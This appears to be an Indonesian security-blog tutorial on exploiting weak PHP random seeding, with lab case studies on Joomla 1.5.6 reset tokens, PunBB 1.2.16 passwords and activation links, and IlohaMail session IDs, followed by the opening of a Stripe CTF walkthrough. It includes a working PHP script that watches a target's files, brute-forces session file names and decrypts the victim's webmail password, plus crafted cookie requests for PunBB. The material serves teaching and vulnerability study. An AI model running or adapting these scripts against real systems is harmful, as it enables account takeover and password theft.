Modifikasi terakhir adalah dengan mengganti isi fungsi easy_captcha::form() dengan 1 baris saja seperti di atas. Hanya itu saja modifikasi yang dilakukan untuk membuat script prediksi, intinya hanya pada saat seeding kita memakai inputan user bukan fungsi time(), selebihnya kita mengikuti prosedur yang sama (tidak kita modifikasi) dengan captchaphp 2.3 aslinya untuk men-generate teks random dalam captcha.

Case Study #2: Predicting Password Reset Token (Joomla <= 1.5.6)

Lab Download: Joomla 1.5.6 dan Script attack Joomla 1.5.6

Metode otentikasi ketika melakukan reset password umumnya adalah dengan mengirimkan suatu token berupa string acak yang dikirimkan ke email user. Token ini kemudian harus dimasukkan dalam form atau dalam bentuk parameter di URL, bila token yang dimasukkan benar, maka server percaya bahwa dia adalah pemilik account yang sah karena token ini hanya dikirim ke email yang hanya bisa dibuka oleh pemilik account yang sah.

 

Sebagai contoh kasus kita akan memprediksi password reset token pada Joomla <= 1.5.6, vulnerability ini dilaporkan oleh Steffan Esser. Pada Joomla <= 1.5.6, password reset token adalah MD5 hash dari string acak sepanjang 8 karakter alphanumeric sehingga panjang token adalah 32 karakter hex string (0-9 dan a-f).

Token untuk password reset memang harus dibuat se-random mungkin dan sepanjang mungkin karena dengan token ini seorang user bisa mereset passwordnya, jadi jangan sampai token ini diketahui orang lain yang tidak berhak.

Mari kita lihat bagaimana password reset token digenerate secara random di Joomla <= 1.5.6 di bawah ini.

Token sepanjang 8 karakter string digenerate dengan mt_rand() yang sebelumnya di-inisialisasi dengan seed yang entropinya bersumber dari microsecond (1 / 1 juta detik). Mari kita coba jalankan fungsi genRandomPassword ini dengan sedikit modifikasi agar memakai seed yang berasal dari argument command line untuk melihat cara kerjanya.

Dari percobaan di atas terlihat bahwa dengan seed 3132, maka token yang digenerate adalah ‘1GIsgoE9’. Perhatikan bahwa walaupun dieksekusi berkali-kali, selama seed yang dipakai adalah 3132, maka random token yang di-generate selalu ‘1GIsgoE9’, tidak pernah dan tidak mungkin berbeda.

Jadi bisa dikatakan, random token yang di-generate tergantung dari seed yang dipakai

Number of Possible Token

Mari kita berhitung berapa besar jumlah kemungkinan token yang ada untuk melihat seberapa besar kemungkinan melakukan brute force token. Karena token adalah 8 karakter string yang setiap karakter terdiri dari 62 kemungkinan (A-Z, a-z, 0-9), maka jumlah kemungkinan token adalah 62^8 atau 218.340.105.584.896 (218,34 triliun) kemungkinan token. Jumlah 218 triliun sangat besar, dibutuhkan waktu yang sangat lama untuk melakukan brute force, mencoba semua kemungkinan token sebanyak 218 triliun kali.

Namun apa benar, ada 218 T kemungkinan token ?

Ingat, bahwa token yang di-generate tergantung dari seed yang dipakai, artinya jumlah kemungkinan token sama dengan jumlah kemungkinan seed. Bila hanya ada sejumlah 100 seed, maka jumlah token yang di-generate hanya 100 walaupun kemungkinan permutasinya ada 218 T.

mt_srand(10000000 * (double) microtime());

Perhatikan seed yang dipakai Joomla di atas, mari kita hitung berapa banyak kemungkinan seed. Seed yang dipakai bersumber dari microtime() dikalikan 10 juta. Karena microtime() menghasilkan bilangan floating point antara 0 dan 1, kemudian hasilnya dikalikan 10 juta, maka ada 10 juta kemungkinan seed. Benarkah demikian ?

Dari dokumentasi php, fungsi microtime() menghasilkan microsecond, yaitu 1 / 1 juta detik, artinya output dari fungsi microtime() ada sebanyak 1 juta kemungkinan bilangan floating point antara 0 dan 1. Jadi walaupun microtime() ini dikalikan 10 juta, tetap saja jumlah kemungkinan seed hanya sebanyak jumlah kemungkinan microtime() yaitu hanya 1 juta.

Karena jumlah seed yang mungkin hanya 1 juta kemungkinan, maka jumlah token yang di-generate tidak mungkin bisa lebih dari 1 juta, paling banyak hanya 1 juta token, bukan 218 triliun token.

Disinilah masalahnya, bila hanya ada 1 juta kemungkinan token, maka akan mudah untuk dibrute force karena mencoba sebanyak 1 juta token tidak butuh waktu lama, apalagi bila dilakukan secara distributed. Memang bila harus mencoba 218 T kemungkinan sangat lama waktu yang dibutuhkan, tapi bila hanya 1 juta percobaan itu bisa dilakukan dengan cepat.

The Attack

Dengan kelemahan ini, seorang hacker bisa menguasai akun Joomla administrator dengan cara reset password. Dia akan melakukan reset password akun korban, karena tokennya dikirim ke email si korban dan si hacker tidak bisa membaca email korban, si hacker akan melakukan brute force sebanyak 1 juta token.

Sekarang kita akan membuat exploit untuk melakukan brute force token. Output dari microtime() antara lain 0.000000, 0.000001, 0.000002, 0.000003…0.009203,0.009204,0.009205… s/d 0.999999 (1 juta kemungkinan). Seed yang dipakai adalah output dari microtime ini dikalikan dengan 10 juta, sehingga nilai seed yang dipakai antara lain 0, 10, 20, 30…92030,92040,92050… s/d 9999990 (1 juta kemungkinan seed).

Pertama kita coba lakukan reset password, kemudian nilai token kita brute force secara offline untuk menguji apakah script brute force sudah benar. Dalam contoh ini token yang dikirim ke email korban adalah ‘c7a7854f93affc4fe6d5e7b7b8c73352’.

Brute force secara offline hanya membutuhkan waktu 1,2 detik saja, tentu saja brute force secara online butuh waktu lebih lama, tapi masih dalam hitungan menit atau beberapa jam saja.

Sekarang mari kita coba untuk melakukan brute force online. Karena ada 1 juta token yang harus dicoba, maka akan lebih cepat bila dilakukan secara bersamaan 100 thread yang masing-masing mencoba 10 ribu token. Dalam contoh di bawah ini, kita coba brute force token yang sama dengan yang kita coba sebelumnya secara offline. Dalam contoh ini, kita coba range seed 150.000 s/d 160.000.

Sama seperti percobaan yang offline, token yang valid ditemukan dengan seed 1523480 dalam waktu percobaan adalah 4 menit dan 38 detik. Kalau dihitung-hitung setiap segmen dengan range 10 ribu, dibutuhkan waktu sekitar setengah jam saja, worst casenya paling lama 1 jam atau 2 jam mestinya sudah berhasil ditemukan token yang valid.

Berikut ini adalah source code script untuk melakukan brute force token Joomla <= 1.5.6.

Pada kasus pertama “predicting captcha”, kita bisa melakukan prediksi dengan akurat karena ada kebocoran seed melalui parameter __ec_i. Dari parameter __ec_i kita bisa tahu dengan tepat, berapa unix time yang dipakai sebagai seed sehingga kita bisa prediksi random teks dalam captcha dengan akurat.

Dalam kasus yang kedua ini, tidak ada kebocoran seed. Kita tidak tahu PRNGnya diinisialisasi dengan seed berapa. Kita hanya tahu bahwa PRNGnya diberi seed dengan salah satu dari 1 juta kemungkinan seed sehingga kita bisa brute force seednya. Karena kita hanya perlu brute force sebanyak 1juta, tanpa perlu brute force sebanyak 218 T, maka peluang suksesnya sangat tinggi.

Case Study #3: Predicting Random Password and Activation Link (PunBB <= 1.2.16)

Lab Download: PunBB 1.2.16 dan Script attack PunBB

Pada kasus yang ketiga kita akan secara blindly mendapatkan password baru dan activation link yang diberikan ke email seorang user ketika dilakukan reset password terhadap akun user tersebut. Vulnerability ini ada pada PunBB <= 1.2.16 dan dilaporkan oleh Stefan Esser.

Ada tiga kelemahan pada aplikasi ini, yang pertama adalah weak cookie_seed, yang kedua adalah weak seeding dan ketiga adanya leaked seed.

Weak cookie_seed

Dalam config.php ada variabel $cookie_seed yang dipakai sebagai salt untuk menyimpan password di cookie dalam bentuk md5 hash. Cookie seed ini digenerate sekali pada saat instalasi.

Setiap seorang user login, maka dia akan diberikan cookie yang berisi 2 elemen, yaitu user_id dan md5 hash dari cookie_seed dan sha1 dari password user tersebut, jadi elemen kedua adalah adalah md5($cookie_seed.sha1(‘passworduser’)).

Sebagai contoh, seorang user rizki dengan password ‘rahasia’, ketika login berhasil mendapatkan punbb_cookie berisi:

a:2:{i:0;i:3;i:1;s:32:"c45c1016321797a2a11a362b7101aecd";}

Dari cookie tersebut diketahui user_id adalah 3 dan yang terpenting adalah kondisi berikut:

md5($cookie_seed.sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

$cookie_seed digenerate dengan cara yang sangat sederhana:

substr(md5(time()), -8)

$cookie_seed adalah 8 karakter dari belakang md5 hash unix time pada saat instalasi, dengan kata lain, kondisi sebelumnya bisa ditulis sebagai berikut:

md5(substr(md5(X), -8).sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

Karena dari kondisi di atas, semua elemen sudah diketahui kecuali X yaitu unix time dalam detik ketika instalasi, artinya kita bisa brute force untuk mencari berapa X. Berapakah range brute force yang harus kita coba?

Dari menu daftar user (userlist.php) kita bisa tahu registered date dari user admin untuk mendekati unix time ketika instalasi. Karena yang kita ketahui hanya komponen tanggal saja (jam 00, menit 00), maka untuk mencari ‘exact unix time’ kita tinggal brute force jam dan menitnya saja. Range brute forcenya yang harus kita coba adalah 24 jam ke depan (3600 detik x 24 jam) sejak registered date user admin.

Berikut script untuk brute force cookie_seed bila diketahui registered date user admin adalah 25/07/2012.

Dalam waktu hanya 0.2 detik, kita sudah berhasil menemukan cookie_seed yang ada dalam config.php. Mengetahui nilai cookie_seed dalam config.php adalah langkah pertama, kita lanjutkan dengan langkah kedua.

Weak Seeding

PunBB selalu memberikan cookie baru yang berisi random password 8 karakter setiap kali menerima cookie login yang tidak valid. Cookie  ini formatnya sama dengan cookie punbb_cookie biasa, pada elemen pertama berisi user_id 0, artinya guest, sedangkan elemen kedua berisi md5($cookie_seed.$8chars_random_password).

PRNG yang dipakai untuk generate random password sebelumnya diinisalisasi dengan seed berikut dalam common.php:

// Seed the random number generator
mt_srand((double)microtime()*1000000);

Sama dengan case study sebelumnya, dengan seed seperti ini artinya hanya ada 1 juta kemungkinan seed, dan jumlah 1 juta adalah jumlah yang sangat brute forceable.

Random password digenerate dengan function random_pass berikut:

//
// Generate a random password of length $len
//
function random_pass($len)
{
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

	$password = '';
	for ($i = 0; $i < $len; ++$i)
		$password .= substr($chars, (mt_rand() % strlen($chars)), 1);

	return $password;
}

Karena random_pass digenerate secara random, dan PRNGnya diberi seed dengan suatu nilai di antara 1 juta kemungkinan, maka random password yang digenerate juga hanya ada 1 juta kemungkinan. Hubungan antara seed dan random password adalah pemetaan 1 ke 1, artinya untuk setiap seed ada satu password unik yang digenerate dan juga sebaliknya untuk suatu random password tertentu bisa diketahui berapa seed yang dipakai PRNGnya.

Leaked Seed

Jadi bisa dikatakan bahwa kebocoran seed terjadi melalui cookie berisi random password ini karena ada pemetaan 1 ke 1 antara random password dan seed yang dipakai.

Exploitasi kebocoran seed ini dilakukan dengan cara merequest reset password dengan membawa cookie yang elemen keduanya sengaja dibikin invalid untuk memancing punBB memberikan cookie baru berisi random password. Dari random password yang diberikan bisa diketahui berapa seed yang dipakai pada saat reset password.

Berikut adalah log traffic http header ketika request reset password dengan membawa cookie yang invalid. Pada saat request saya memberikan cookie yang saya modifikasi satu karakter terakhir elemen keduanya dari ‘….aecd’ menjadi ‘…aecc’ agar menjadi invalid.

http://localhost:8888/punbb/login.php?action=forget_2

POST /punbb/login.php?action=forget_2 HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:8888/punbb/login.php?action=forget
Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A32%3A%22c45c1016321797a2a11a362b7101aecc%22%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
form_sent=1&req_email=rizki.wicaksono%40xynexis.com

HTTP/1.1 200 OK
Date: Thu, 26 Jul 2012 00:02:33 GMT
Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
X-Powered-By: PHP/5.4.4
Set-Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bs%3A32%3A%22cbc4ad58d7e2f5de8f8616d509c1aaa9%22%3B%7D; expires=Fri, 26-Jul-2013 00:02:33 GMT; path=/; httponly
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Thu, 26 Jul 2012 00:02:34 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1936
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Pada Set-Cookie response header kita mendapatkan cookie baru, punbb_cookie yang berisi:

a:2:{i:0;i:0;i:1;s:32:”cbc4ad58d7e2f5de8f8616d509c1aaa9″;}

Elemen kedua adalah md5 dari cookie_seed digabung dengan random password 8 karakter. Karena cookie_seed sudah kita dapatkan di langkah pertama dan ada pemetaan 1 ke 1 antara random password ini dan seed, maka kita bisa mencari  berapa seed yang dipakai untuk men-generate random password tersebut.

Request reset password dengan membawa cookie yang invalid ini selain memberikan cookie baru juga mengirimkan email ke user yang  meminta reset password, berisi new random password dan activation link untuk mengaktifkan password baru tersebut. Berikut adalah contoh email yang diterima korban.

Dalam email tersebut berisi new random password  dan URL activation link berisi random key. Karena dalam kasus ini si hacker tidak bisa membaca email korban, maka dia harus memprediksi password baru dan activation linknya.

Bagaimana caranya seorang hacker mengetahui password baru dan activation link yang dikirim ke email korban tanpa membaca sama sekali email korban?

Caranya adalah kita lanjutkan saja ke langkah kedua, yaitu mencari tahu berapa seed yang dipakai PRNGnya.

Dalam waktu 6 detik saja sudah kita dapatkan seed yang dipakai PRNGnya. Dengan mengetahui seed yang dipakai ketika server men-generate password baru dan activation link, kita juga bisa men-generate secara local, password baru dan activation link yang sama persis dengan yang di-generate di server.

Terbukti bahwa password baru dan activation link hasil dari script di atas sama persis dengan yang dikirim ke email korban, artinya dengan teknik ini hacker bisa tahu password baru dan activation linknya tanpa membaca email korban, secara blindly.

Berikut adalah script pendek untuk melakukan brute force seed punBB. $target adalah md5 hash dari pun_bb cookie yang diberikan ketika request dengan cookie yang invalid sedangkan $cookie_seed sudah didapatkan di langkah pertama.

Perhatikan bahwa setelah seed diketahui, script menjalankan random_pass(8) dua kali, yang pertama untuk men-generate random password baru, yang kedua untuk men-generate activation link key.

Jadi dalam kasus yang ketiga ini ada kebocoran seed melalui cookie yang berisi random password, dari random password bisa diketahui seed yang dipakai. Melalui teknik ini, seorang hacker bisa menguasai akun korban tanpa perlu membaca email korban.

Case Study #4: Predicting Session ID (IlohaMail <= 0.8.14-rc3)

Lab Download: IlohaMail 0.8.14-RC3 and Script attack IlohaMail

IlohaMail adalah webmail open source yang cukup populer (ask google). Saya menemukan weak random number vulnerability pada aplikasi ini sehingga kita bisa mendapatkan username dan password user yang sedang login.

Session file

Setiap user berhasil login ke webmail, username dan password user tersebut disimpan dalam bentuk encrypted di file session yang formatnya, /data/sessions/xxxxxxxxxx-yyyyy.inc, dimana xxxxxxxxx adalah unix timestamp dalam detik, waktu ketika user tersebut login, dan yyyyy adalah suatu random number. File session ini hanya ada selama user tersebut masih login, setelah user tersebut logout file ini akan dihapus.

Gabungan dari unix time dan 5 digit random number berfungsi sebagai session id dalam ilohamail.

Contoh file session adalah:

Dalam gambar di atas, session id user tersebut adalah ‘1343353564-90856’. File pada gambar di atas adalah session file yang mengandung username dan password dalam bentuk encrypted yang nantinya akan kita dekrip. Jadi file ini adalah target utama kita bila ingin mencuri username dan password seorang user.

Sebelumnya ada tiga masalah yang harus kita pecahkan untuk mendapatkan user dan password seorang user dari session file:

  • unix time dalam detik ketika seorang user target login
  • 5 digit random number yang menjadi bagian session id
  • encryption key untuk mendekrip user dan password user

Encryption Key

Kita beruntung karena encryption key untuk mendekrip user dan password dalam session file tersedia dan bisa dibaca di folder /data/users/username.host/key.inc.
File key.inc isinya hanya satu baris saja berisi variabel $passkey dan encryption keynya.

Dari file ini kita bisa tahu kunci untuk mendekrip username dan password seorang user. Namun masih ada 2 persoalan lagi, kita belum tahu nama session filenya karena nama file session terdiri dari unix time ketika user login dan 5 digit random number.

Leaked Logon Time 

Kalau kita request file key.inc dari web server, kita akan mendapatkan informasi kapan file tersebut diubah dari response header ‘Last-Modified-Header’.

Berikut adalah contoh traffic HTTP ketika kita meminta file key.inc dari server.

* About to connect() to localhost port 8888 (#0)
*   Trying ::1... connected
* Connected to localhost (::1) port 8888 (#0)
> GET /ilohamail0814rc3/data/users/[email protected]/key.inc HTTP/1.1
> User-Agent: curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5
> Host: localhost:8888
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 27 Jul 2012 02:32:26 GMT
< Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
< Last-Modified: Fri, 27 Jul 2012 01:46:04 GMT
< ETag: "20e651-25-4c5c5dffd6f00"
< Accept-Ranges: bytes
< Content-Length: 37
< Content-Type: text/plain
< 
* Connection #0 to host localhost left intact
* Closing connection #0

Dari response header ‘Last-Modified’ kita mendapat informasi bahwa user [email protected] login pada 27 Juli 2012, 01:46:04 GMT, atau kalau diubah dalam bentuk unix time menjadi 1343353564. Jadi kini kita sudah bisa menjawab persoalan unix time ketika user target login dari header Last-Modified.

Random Number Session ID 

Tinggal satu persoalan lagi yang harus kita pecahkan, yaitu dari mana kita tahu 5 digit random number yang menjadi bagian dari session id ?

Lagi-lagi kita berhadapan dengan misteri random number. Ingat untuk bisa memprediksi random number, yang kita butuhkan adalah seed yang dipakai PRNGnya. Adakah kebocoran seed disini?

Ternyata ada kebocoran seed dari encryption key yang kita dapatkan dari file key.inc. Mari kita lihat bagaimana file key.inc dibuat:

    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){

        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }

        // generate random session key
        $key=GenerateMessage(strlen($password)+5);

        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '');
            fclose($fp);
        }

        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Pada baris ke-6 di atas terlihat bahwa session ID terdiri dari unix time (yang sudah kita dapatkan) dan hasil dari GenerateRandomString(). Pada baris ke-11 terlihat bahwa encryption key yang disimpan dalam file key.inc digenerate oleh fungsi GenerateMessage().

Mari kita lihat definisi GenerateRandomString() dan GenerateMessage().

function GenerateRandomString($messLen, $seed){
	srand ((double) microtime() * 1000000);
	if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
	$seedLen=strlen($seed);
	if ($messLen==0) $messLen = rand(10, 20);
	for ($i=0;$i<$messLen;$i++){
		$point=rand(0, $seedLen-1);
		$message.=$seed[$point];
	}
	return $message;
}

function GenerateMessage($messLen){
	$seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
	return GenerateRandomString($messLen, $seed);
}

Ternyata GenerateMessage() yang dipakai untuk men-generate encryption key dalam key.inc juga memakai fungsi GenerateRandomString(), jadi kita hanya fokuskan pembahasan pada GenerateRandomString() saja.

Seperti pada kasus sebelumnya, PRNG dalam GenerateRandomString() diberi seed dengan microtime() dikali 1 juta, artinya hanya ada 1 juta kemungkinan nilai seed. Karena hanya ada 1 juta kemungkinan nilai seed, maka random string yang di-generate juga hanya ada 1 juta kemungkinan dan ada hubungan 1 ke 1 antara seed dan random string yang di-generate. Ini artinya dari seed kita bisa dapatkan random string dan sebaliknya dari random string bisa kita ketahui berapa seed yang dipakai PRNGnya.

Adanya hubungan pemetaan 1 ke 1 antara seed dan random string yang digenerate artinya kita bisa mengetahui seed yang dipakai untuk men-generate encryption key dalam key.inc, dari sinilah kebocoran seed terjadi.

Agar proses pencarian seed lebih cepat mari kita buat look up table yang memetakan antara seed (1 juta seed) dan random string yang digenerate. Dengan adanya tabel ini kita bisa mencari dalam tabel tanpa harus menghitung lagi. Berikut adalah script untuk generate 1 juta seed dan random stringnya.

Setelah selesai proses generate, kita kini memiliki tabel berisi 1 juta seed dan random string yang digenerate dengan seed tersebut. Mari kita coba dengan tabel ini mencari seed dari encryption key 'llikn1JzvLOnkYJ0' yang kita dapatkan dari key.inc.

Seed Encryption Key vs Seed Session ID

Dari lookup table, kita dapatkan seed yang dipakai PRNG untuk men-generate untuk encryption key tersebut adalah 233189. Tapi jangan lupa bahwa yang kita cari bukan seed untuk encryption key, yang kita cari adalah seed untuk generate 5 digit session ID.

Lalu apakah seed yang dipakai untuk men-generate encryption key sama dengan seed yang dipakai untuk men-generate  5 digit session id ?

    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){

        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }

        // generate random session key
        $key=GenerateMessage(strlen($password)+5);

        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '');
            fclose($fp);
        }

        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

Kalau kita perhatikan urutannya dari source code di atas, yang pertama di-generate adalah 5 digit session id (di baris 6), baru kemudian generate encryption key (di baris 11). Ingat bahwa keduanya memakai fungsi yang sama, GenerateRandomString() yang didalamnya dilakukan seeding PRNG dengan microsecond, sehingga seed yang dipakai untuk generate encryption key berbeda dengan seed yang dipakai untuk generate 5 digit session ID.

Karena seed adalah microsecond, artinya perbedaan seed antara keduanya adalah perbedaan waktu eksekusi dalam microsecond. Bisa disimpulkan bahwa seed untuk generate 5 digit session ID adalah beberapa microsecond sebelum seed untuk generate encryption key, atau seed session ID < seed encryption key.

Tergantung dari mesin yang dipakai, perbedaan waktu antara keduanya umumnya tidak banyak, mungkin paling banyak hanya mencoba 100 kali. Agar lebih cepat lagi, kalau kita yakin bahwa perbedaan waktunya > 30 microsecond, kita bisa mulai brute force mundur mulai dari seed encryption key - 30, tidak mulai dari seed encryption key.

Gambar di bawah ini menunjukkan script melakukan brute force mundur mulai dari seed encryption key-30, dan menemukan seednya hanya dalam 15 kali percobaan.

Script di atas berhasil mendapatkan session file yaitu 1343353564-90856.inc dengan sangat cepat hanya dengan beberapa percobaan saja. Hal ini bisa dilakukan karena kita sudah tahu bahwa seed untuk generate session ID adalah beberapa microsecond sebelum seed untuk generate encryption key.

File session ini hanya akan ada selama user tersebut masih belum logout, begitu user tersebut logout, file session akan dihapus, walaupun file key.inc akan tetap ada. Jadi agar serangan berhasil kita harus secepat mungkin mengambil session file begitu korban login, sebelum dia logout.

Dari mana kita tahu bahwa korban yang kita target baru saja login? Kita bisa tahu "last login" seorang user dari header Last-Modified yang kita terima ketika request file key.inc user tersebut. Bila kita sudah tahu calon korban yang kita target, kita bisa membuat script yang setiap menit memonitor file key.inc user tersebut, begitu user tersebut baru saja login (dari Last-Modified header), secepatnya langsung kita ambil session filenya dan mendekrip passwordnya.

Gambar di atas memperlihatkan sebuah script yang memonitor seorang target korban, dari jamnya terlihat bahwa setelah script berjalan 1 jam, baru korban login.

  1. Setiap menit script melihat Last-Modified header dari key.inc
  2. Begitu diketahui key.inc baru dimodifikasi 1 menit yang lalu, artinya target baru login
  3. Script mencari seed encryption key dari lookup table
  4. Script melakukan brute force mundur untuk mencari seed 5 digit session ID
  5. Script membaca session file
  6. Script mendekripsi password korban

Berikut ini adalah source code untuk berburu password email target.

> Menunggu target login...\n";
while (true) {
	$user = '[email protected]';
	$mxhost = 'ilmuhacking.com';

	$url = "http://localhost:8888/ilohamail0814rc3/data/users/${user}.${mxhost}/key.inc";

	$curl = curl_init();
	curl_setopt($curl, CURLOPT_URL, $url); 
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_FILETIME, true);
	curl_setopt($curl, CURLOPT_TIMEOUT, 15);
	$result = curl_exec($curl);
	$timestamp = intval(curl_getinfo($curl, CURLINFO_FILETIME));
	$delta=time()-$timestamp;
	if ( $delta < 60 ) { // baru login di bawah 1 menit yang lalu	
		print @date("Y-m-d H:i:s").">> Target baru login $delta detik yang lalu\n";
		$count = preg_match_all('#"(.*)"#',$result,$matches);
		if ($count == 1) {
			$key = $matches[1][0];
			
			$lenkey = strlen($key);
			$sql = "select `seed` from `keyseed` where `key` LIKE '$key%'";
			$res = mysql_query($sql);
			$arr = mysql_fetch_array($res);
			$seed = intval($arr[0]);
			
			print @date("Y-m-d H:i:s").">> Encryption key --> $key\n";
			print @date("Y-m-d H:i:s").">> Timestamp: $timestamp\n";
			print @date("Y-m-d H:i:s").">> Seed that generated '$key': $seed\n";
									
			$mulai = $seed-40;
			print @date("Y-m-d H:i:s").">> Brute forcing random seed around $mulai ...\n";
			$end = $seed - 700;
			for ($i = $mulai; $i > $end; $i--) {
				$guess = GenerateRandomString(5,"0123456789",$i);
				$filename = sprintf("%d-%05d.inc",$timestamp,$guess);
				$url = sprintf("http://localhost:8888/ilohamail0814rc3/data/sessions/$filename",$waktu,$i);
				
				curl_setopt($curl, CURLOPT_URL, $url); 								
				curl_setopt($curl, CURLOPT_TIMEOUT, 15);
				curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($curl, CURLOPT_FILETIME, false);
				$sess = curl_exec($curl);		
				if ($sess === false) {
					continue;
				}
				if (!empty($sess) && strpos($sess,"GetPassword")>-1) {
					$sess = trim($sess);
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> OK\n$url\n";			
					
					$count = preg_match_all('#"(.*)"#',$sess,$matches);
					if ($count == 4) {
						$password = $matches[1][0];
						$host = $matches[1][1];
						$username = $matches[1][2];
						$userpath = $matches[1][3];
						
						$decoded_user = DecodeMessage($key,$username);
						$decoded_pass = DecodeMessage($key,$password);

						print @date("Y-m-d H:i:s").">> Decrypted >>>> $decoded_pass \n";
					}
					die();
				} else {
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> Not Found\n";
				}
			}
		}
	}
	sleep(30);
}


function GenerateRandomString($messLen, $seed, $seedkey){
        srand ((double)$seedkey);
        $message = "";
        if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
        $seedLen=strlen($seed);
        if ($messLen==0) $messLen = rand(10, 20);
        for ($i=0;$i<$messLen;$i++){
                $point=rand(0, $seedLen-1);
                $message.=$seed[$point];
        }
        return $message;
}

function DecodeMessage($pass, $message){
	$message=base64_decode($message);
	$messLen=strlen($message);
	$passLen=strlen($pass);
	
	$decMessage="";
	for ($i=0;$i<$messLen;$i++){
		$j=$i % $passLen;
		$num=ord($message[$i]);
		$decNum=(($num + 128) - ord($pass[$j])) % 128;
		$decMessage.=chr($decNum);
	}
	
	return $decMessage;
}

?>

Stripe CTF Level 1-5

Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.

Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.


Level 01

Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke [email protected] dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:

Welcome to the Stripe CTF challenge!

Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].

In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.

We've created a scratch directory for you in /tmp.

There are a total of 6 levels in this CTF; if you're stuck, feel free
to email [email protected] for guidance.

Goalnya adalah membaca file berisi password /home/level02/.password yang permissionnya sudah diset hanya bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah tantangannya.

Sudah disediakan aplikasi /levels/level01 dengan owner file adalah level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai (runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini punya privilege untuk membaca file password yang kita inginkan.

-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01

Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.

level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:49 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01
Current time: Mon Feb 27 14:38:56 UTC 2012
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$

Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?

Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar aplikasi yang tampaknya innocent dan hanya melakukan satu hal sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi ini.

#include 
#include 

int main(int argc, char **argv)
{
  printf("Current time: ");
  fflush(stdout);
  system("date");
  return 0;
}

Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit tinggal system() karena fungsi ini mengeksekusi shell command.

